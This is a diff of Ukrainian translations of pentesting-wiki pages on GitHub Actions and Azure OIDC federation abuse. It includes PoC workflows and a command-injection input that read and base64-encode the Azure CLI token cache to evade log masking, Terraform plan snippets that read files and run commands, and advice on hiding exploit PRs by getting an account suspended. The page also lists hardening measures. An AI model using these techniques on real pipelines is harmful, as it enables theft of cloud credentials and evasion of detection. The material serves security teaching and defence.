-Як ви могли побачити в попередньому коді, реєстр Github розміщено на **`ghcr.io`**. +Як видно з попереднього коду, реєстр Github розміщено на **`ghcr.io`**. -Користувач з правами читання репозиторію зможе завантажити Docker Image, використовуючи personal access token: +Користувач із правами читання цього repo зможе завантажити Docker Image, використовуючи personal access token: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: @@ -630,20 +634,18 @@ docker pull ghcr.io//: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} -### Чутлива інформація в Github Actions logs +### Чутлива інформація в логах Github Actions -Навіть якщо **Github** намагається **виявляти secret values** в actions logs і **уникати їх показу**, **інші чутливі дані**, які могли бути згенеровані під час виконання action, не будуть приховані. Наприклад, JWT підписаний secret value не буде прихований, якщо він не [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Навіть якщо **Github** намагається **виявляти secret values** в логах actions і **не показувати** їх, **інші чутливі дані**, які могли бути згенеровані під час виконання action, не будуть приховані. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо це не [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Приховування слідів -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Перш за все, будь-який PR, що створюється, чітко видно публічно в Github і власнику цільового GitHub акаунта. За замовчуванням у GitHub ми **can’t delete a PR of the internet**, але є нюанс. Якщо акаунт Github буде **suspended** GitHub, всі їхні **PRs are automatically deleted** і видаляються з інтернету. Тому, щоб приховати вашу активність, вам потрібно або домогтися, щоб ваш **GitHub account suspended or get your account flagged**. Це **приховає всю вашу активність** на GitHub з інтернету (фактично видалить усі ваші exploit PR) - -Організація в GitHub дуже активно повідомляє облікові записи в GitHub. Все, що потрібно — опублікувати «деякі речі» в Issue, і вони подбають, щоб ваш акаунт був suspended протягом 12 годин :p і от, ваш exploit стане невидимим на github. +(Техніка з [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який створений PR чітко видно публіці в Github і цільовому GitHub обліковому запису. За замовчуванням у GitHub ми **не можемо видалити PR з інтернету**, але є підступ. Для GitHub акаунтів, які **suspended** GitHub, всі їхні **PR автоматично видаляються** і видаляються з інтернету. Отже, щоб приховати свою активність, вам потрібно або домогтися **припинення дії вашого GitHub облікового запису**, або щоб ваш акаунт був позначений. Це **приховає всю вашу діяльність** на GitHub з інтернету (фактично видалить усі ваші exploit PR) > [!WARNING] -> Єдиний спосіб для організації з'ясувати, що її атакували — перевірити GitHub logs через SIEM, оскільки з GitHub UI PR буде видалено. +> Єдиний спосіб для організації з'ясувати, що її націлили — перевірити GitHub логи в SIEM, оскільки з GitHub UI PR буде видалено. -## Посилання +## References - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 000000000..c5f42baca --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,227 @@ +# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## Огляд + +GitHub Actions може встановлювати федерацію з Azure Entra ID (formerly Azure AD) через OpenID Connect (OIDC). GitHub workflow запитує короткочасний GitHub ID token (JWT), який кодує деталі запуску. Azure перевіряє цей токен у порівнянні з Federated Identity Credential (FIC) в App Registration (service principal) і обмінює його на Azure access tokens (MSAL cache, bearer tokens for Azure APIs). + +Azure перевіряє принаймні: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (під час обміну на Azure tokens) +- sub: має відповідати налаштованому FIC Subject identifier + +> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange. + +## GitHub ID token quick PoC +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: +id-token: write +jobs: +view-token: +runs-on: ubuntu-latest +steps: +- name: get-token +run: | +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") +# Base64 avoid GitHub masking +echo "$OIDC_TOKEN" | base64 -w0 +``` +Щоб примусово вказати audience для Azure під час запиту token: +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ +"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` +## Azure setup (Workload Identity Federation) + +1) Створити App Registration (service principal) і надати найменші привілеї (наприклад, Storage Blob Data Contributor на конкретному storage account). + +2) Додати Federated identity credentials: +- Issuer: https://token.actions.githubusercontent.com +- Audience: api://AzureADTokenExchange +- Subject identifier: щільно обмежений до відповідного workflow/run context (див. Scoping and risks нижче). + +3) Використати azure/login, щоб обміняти GitHub ID token і увійти в Azure CLI: +```yaml +name: Deploy to Azure +on: +push: { branches: [main] } +permissions: +id-token: write +contents: read +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: Az CLI login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Upload file to Azure +run: | +az storage blob upload --data "test" -c hmm -n testblob \ +--account-name sofiatest --auth-mode login +``` +Приклад ручного обміну (показано Graph scope; ARM або інші resources аналогічно): +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` +## GitHub OIDC subject (sub) — анатомія та налаштування + +Default sub format: repo:/: + +Context values include: +- environment: +- pull_request (PR спрацьовує, коли немає environment) +- ref:refs/(heads|tags)/ + +Корисні claims, що часто присутні в payload: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +Налаштуйте склад sub через GitHub API, щоб додати додаткові claims і зменшити ризик колізій: +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ +--method PUT \ +repos///actions/oidc/customization/sub \ +-f use_default=false \ +-f include_claim_keys='["repository_owner","repository_visibility"]' +``` +Примітка: двокрапки в іменах environment кодуються в URL (%3A), що усуває старі трюки з інʼєкцією роздільників при парсингу sub. Однак використання неунікальних subject (наприклад, лише environment:) все ще небезпечне. + +## Сфера застосування та ризики типів subject у FIC + +- Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ +- Ризик: Якщо гілка/тег не захищені, будь‑який контрибʼютор може запушити і отримати токени. +- Environment: sub=repo:/:environment: +- Ризик: Незахищені environments (без рецензентів) дозволяють контрибʼюторам випускати токени. +- Pull request: sub=repo:/:pull_request +- Найвищий ризик: Будь‑який collaborator може відкрити PR і задовольнити FIC. + +PoC: PR‑triggered token theft (екзфільтрація кешу Azure CLI, записаного azure/login): +```yaml +name: Steal tokens +on: pull_request +permissions: +id-token: write +contents: read +jobs: +extract-creds: +runs-on: ubuntu-latest +steps: +- name: azure login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Extract access token +run: | +# Azure CLI caches tokens here on Linux runners +cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` +Пов'язані місця розташування файлів і примітки: +- Linux/macOS: ~/.azure/msal_token_cache.json містить MSAL токени для сесій az CLI +- Windows: msal_token_cache.bin у профілі користувача; захищений DPAPI + +## Повторно використовувані робочі процеси та обмеження job_workflow_ref + +Виклик повторно використовуваного робочого процесу додає job_workflow_ref до GitHub ID токена, наприклад: +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` +Приклад FIC для прив'язки як caller repo, так і reusable workflow: +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` +Налаштуйте claims у caller repo так, щоб і repo, і job_workflow_ref були присутні в sub: +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` +Попередження: Якщо ви зв'язуєте лише job_workflow_ref у FIC, нападник може створити інший repo в тій самій org, запустити той самий reusable workflow на тому самому ref, задовольнити FIC і mint tokens. Завжди включайте також caller repo. + +## Вектори виконання коду, що обходять захист job_workflow_ref + +Навіть при правильно обмеженому job_workflow_ref будь-які caller‑controlled дані, що потрапляють у shell без safe quoting, можуть призвести до виконання коду всередині захищеного workflow контексту. + +Приклад вразливого reusable step (unquoted interpolation): +```yaml +- name: Example Security Check +run: | +echo "Checking file contents" +if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then +echo "Malicious content detected!"; exit 1 +else +echo "File contents are safe." +fi +``` +Зловмисний ввід від викликача для виконання команд і ексфільтрації Azure token cache: +```yaml +with: +file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` +## Terraform plan як примітив виконання в PRs + +Розглядайте terraform plan як виконання коду. Під час plan, Terraform може: +- Читати довільні файли через функції, такі як file() +- Виконувати команди через external data source + +Приклад для exfiltrate Azure token cache під час plan: +```hcl +output "msal_token_cache" { +value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` +Або використати external для запуску довільних команд: +```hcl +data "external" "exfil" { +program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` +Надання FICs, які можна використовувати для планів, ініційованих PR, відкриває доступ до привілейованих токенів і може призвести до руйнівного apply пізніше. Розділяйте identities для plan і apply; ніколи не дозволяйте привілейовані токени в ненадійних PR-контекстах. + +## Перелік заходів жорсткого захисту + +- Ніколи не використовувати sub=...:pull_request для чутливих FICs +- Захищайте будь-яку branch/tag/environment, на яку посилаються FICs (branch protection, environment reviewers) +- Надавайте перевагу FICs, що мають область як repo, так і job_workflow_ref для reusable workflows +- Налаштуйте GitHub OIDC sub, щоб включати унікальні claims (e.g., repo, job_workflow_ref, repository_owner) +- Усуньте незаквотовану інтерполяцію caller inputs у run steps; виконуйте безпечне кодування/quote +- Розглядайте terraform plan як виконання коду; обмежуйте або ізолюйте identities у PR-контекстах +- Забезпечте принцип найменшої привілейованості для App Registrations; розділіть identities для plan та apply +- Прив'язуйте actions та reusable workflows до commit SHAs (avoid branch/tag pins) + +## Поради для ручного тестування + +- Запитуйте GitHub ID token у workflow і виводьте його base64, щоб уникнути маскування +- Декодуйте JWT для перевірки claims: iss, aud, sub, job_workflow_ref, repository, ref +- Вручну обміняйте ID token на login.microsoftonline.com, щоб підтвердити FIC matching та scopes +- Після azure/login прочитайте ~/.azure/msal_token_cache.json, щоб перевірити наявність матеріалів токена + +## References + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}}